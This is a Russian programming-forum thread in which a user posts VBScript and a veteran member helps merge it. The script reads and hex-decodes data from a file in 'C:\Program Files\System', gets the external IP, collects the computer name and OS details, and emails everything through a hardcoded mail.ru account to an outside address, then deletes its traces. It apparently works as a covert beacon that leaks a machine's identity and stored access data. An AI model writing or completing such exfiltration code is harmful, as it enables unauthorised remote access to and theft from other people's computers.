Форум программистов
 
О проблемах, например, с регистрацией пишите сюда - alarforum@yandex.ru, проверяйте папку спам! Обязательно пройдите активизацию e-mail, а тут можно восстановить пароль.

Вернуться   Форум программистов > IT форум > Общие вопросы по программированию, компьютерный форум
Регистрация

Восстановить пароль
Повторная активизация e-mail

Здесь нужно купить рекламу за 20 тыс руб в месяц! ) пишите сюда - alarforum@yandex.ru
Без учёта ботов - 20000 человек в день, 350000 в месяц.

Закрытая тема
Ваша тема закрыта, почему это могло произойти? Возможно,
Нет наработок или кода, если нужно готовое решение - создайте тему в разделе Фриланс и оплатите работу.
Название темы включает слова - "Помогите", "Нужна помощь", "Срочно", "Пожалуйста".
Название темы слишком короткое или не отражает сути вашего вопроса.
Тема исчерпала себя, помните, один вопрос - одна тема
Прочитайте правила и заново правильно создайте тему.
 
Опции темы
Старый 27.02.2020, 21:10   #1
oskol
Пользователь
 
Регистрация: 26.02.2020
Сообщений: 28
По умолчанию kvitaliy обращаюсь к Вам по направлению

Здравствуйте, kvitaliy, мне Вас порекомендовали, как профессионального программиста, можете мне помочь в одном вопросе?!Я очень надеюсь, что ВЫ не оставите это письмо безответным!
oskol вне форума
Старый 27.02.2020, 22:16   #2
kvitaliy
Участник клуба
 
Регистрация: 17.05.2011
Сообщений: 1,257
По умолчанию

Цитата:
Сообщение от oskol Посмотреть сообщение
ВЫ не оставите это письмо безответным!
Письма в личку пишут!
На форум выносят конкретные вопросы, которые решает всё сообщество.
Так в чем вопрос?
kvitaliy вне форума
Старый 28.02.2020, 02:20   #3
Desc
Форумчанин
 
Аватар для Desc
 
Регистрация: 21.11.2007
Сообщений: 601
По умолчанию

kvitaliy, перед тем как дискуссировать с индивидом oskol, прочтите тему по ссылке
>> Как обьеденить 2 кода в один
Desc вне форума
Старый 28.02.2020, 07:25   #4
kvitaliy
Участник клуба
 
Регистрация: 17.05.2011
Сообщений: 1,257
По умолчанию

Нет тела кода нет дела
kvitaliy вне форума
Старый 28.02.2020, 10:31   #5
oskol
Пользователь
 
Регистрация: 26.02.2020
Сообщений: 28
По умолчанию kvitaliy, мне нужна ваша помощь

Вопрос такой, как мне объеденить код №1 с кодом №2, но так чтобы на почту приходил смс в виде текста как и сам ip приходит.(ото она у меня приходит как вложение txt)

Set ADODBStream = CreateObject("ADODB.Stream")
ADODBStream.Type = 2
ADODBStream.Charset = "Unicode"
ADODBStream.Open()
ADODBStream.LoadFromFile("C:\Progra m Files\System\id.txt") ' Тут исходный текст в Юникоде
Text = ADODBStream.ReadText()
ADODBStream.Close()
ADODBStream.Charset = "windows-1251"
ADODBStream.Open()
ADODBStream.WriteText(Text)
ADODBStream.SaveToFile "C:\Program Files\System\3.txt", 2 ' тут преобразованный в ASCII
ADODBStream.Close()


dim my_str, my_arr, index, list
Set FSO = CreateObject("Scripting.FileSystemO bject")
Set f = FSO.OpenTextFile("C:\Program Files\System\3.txt", 1)
On Error Resume Next

For i = 1 to 12
strn = f.ReadLine
Next
strn = Replace (strn, "(", "" )
strn = Trim (strn)

my_arr = split( strn, ",")
for each index in my_arr
strn = "&H" & index
list = list & CHR( strn)
next

f.Close

Set f1 = fso.CreateTextFile("C:\Program Files\System\3.txt", True)
f1.Write (list)
f1.Close


Const cdoSendUsingPort = 2
Const cdoBasic = 1

Const strConstPartOfSchema = "http://schemas.microsoft.com/cdo/configuration/"


Dim strContent
strContent = ""

With WScript.CreateObject("Microsoft.XML HTTP")
Do
.open "GET", "http://ifconfig.me/ip", False
.send
strContent = .responseText

if strContent >"" Then Exit Do
WScript.Sleep 15000 ' 15 сек. задержки если нет Интр
Loop until ( strContent > "" )
End With

With WScript.CreateObject("CDO.Message")
.From = "dostupmne@bk.ru"
.To = "dostupdai@bk.ru"
.Subject = "File [" & strSourceFile & "]"

.TextBody = "External IP: " & strContent & vbCrLf & list
.TextBodyPart.Charset = "windows-1251"



With .Configuration.Fields
.Item(strConstPartOfSchema & "smtpserver") = "smtp.mail.ru"
.Item(strConstPartOfSchema & "sendusing") = cdoSendUsingPort
.Item(strConstPartOfSchema & "smtpserverport") = 465
.Item(strConstPartOfSchema & "smtpauthenticate") = cdoBasic
.Item(strConstPartOfSchema & "sendusername") = "dostupmne@bk.ru"
.Item(strConstPartOfSchema & "sendpassword") = "123dfds"
.Item(strConstPartOfSchema & "smtpusessl") = True

.Update
End With

.Send
End With

Set f2 = FSO.GetFile("C:\Program Files\System\3.txt")
' Удалить файлы
f2.Delete


WScript.Quit 0



с кодом №2

FileOut = "Z:\Box_Out\fileout.txt"

Set objWMI = GetObject("winMgmts:\\.\Root\CIMV2: Win32_OperatingSystem")
Set colWMI = objWMI.Instances_

txt = "Компьютер:" + vbTab + vbTab + CreateObject("WScript.Network").Com puterName + vbCrLf

For Each objOS In colWMI
txt = txt + "Операционная система:" + vbTab + objOS.Caption + " " + objOS.Version + vbCrLf
txt = txt + "Тип системы:" + vbTab + vbTab + objOS.OSArchitecture + vbCrLf
Next

' MsgBox txt

With CreateObject("Scripting.FileSystemO bject").CreateTextFile(FileOut, True)
.Write txt
.Close
End With
oskol вне форума
Старый 28.02.2020, 14:27   #6
kvitaliy
Участник клуба
 
Регистрация: 17.05.2011
Сообщений: 1,257
По умолчанию

Текст кода не рабочий. Мне ошибки выискивать нет ни желания, ни времени.
Упакуйте ваш реально рабочий код, который .vbs в ZIP архив и в упакованном виде выкладывайте сюда.

А если в дух словах, как сделать, что бы вместо файла отправлялся текст, то надо код 2 не в файл писать, а присоединить переменную txt к .TextBody из первого кода.

Т.е. как то так :
.TextBody = "External IP: " & strContent & vbCrLf & list & vbCrLf & txt

Предварительно код 2 выполнить вначале, ну без всяких строк, которые отвечают за запись в файл, только это:
Код:
Set objWMI = GetObject("winMgmts:\\.\Root\CIMV2: Win32_OperatingSystem")
Set colWMI = objWMI.Instances_

txt = "Компьютер:" + vbTab + vbTab + CreateObject("WScript.Network").Com puterName + vbCrLf

For Each objOS In colWMI
txt = txt + "Операционная система:" + vbTab + objOS.Caption + " " + objOS.Version + vbCrLf
txt = txt + "Тип системы:" + vbTab + vbTab + objOS.OSArchitecture + vbCrLf
Next
Но БЕЗ ОШИБОК!
kvitaliy вне форума
Старый 29.02.2020, 00:14   #7
oskol
Пользователь
 
Регистрация: 26.02.2020
Сообщений: 28
По умолчанию kvitaliy, вот выложил скрипт для тебя

kvitaliy, , высылаю вам скрипт весь код в архиве!
Вложения
Тип файла: rar 2 кода в одном соеденить.rar (2.2 Кб, 2 просмотров)
oskol вне форума
Старый 29.02.2020, 00:39   #8
kvitaliy
Участник клуба
 
Регистрация: 17.05.2011
Сообщений: 1,257
По умолчанию

Вот так пробуй
Вложения
Тип файла: zip dog.zip (2.2 Кб, 8 просмотров)
kvitaliy вне форума
Старый 29.02.2020, 11:54   #9
oskol
Пользователь
 
Регистрация: 26.02.2020
Сообщений: 28
По умолчанию

щас попробую и отпишусь
oskol вне форума
Старый 29.02.2020, 11:59   #10
oskol
Пользователь
 
Регистрация: 26.02.2020
Сообщений: 28
По умолчанию

kvitaliy, ты просто элитный программист!!!
Хочу сказать что все работает, все четко нет слов, вот что значит профи своего дело!

Последний раз редактировалось oskol; 29.02.2020 в 12:02.
oskol вне форума
Закрытая тема

Здесь нужно купить рекламу за 20 тыс руб в месяц! ) пишите сюда - alarforum@yandex.ru
Без учёта ботов - 20000 человек в день, 350000 в месяц.

Опции темы


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
kvitaliy, ты лучший, подскажи с этим кодом пожалуйста adninistraotr Безопасность, Шифрование 7 20.12.2019 20:30
Обращаюсь к вам за советом. dreams5555593 Помощь студентам 5 11.08.2013 10:25
Обращаюсь к выделенному меню Ципихович Эндрю Microsoft Office Word 4 02.09.2011 15:21


Проекты отопления, пеллетные котлы, бойлеры, радиаторы
интернет магазин respective.ru
Пеллетный котёл Emtas
котлы EMTAS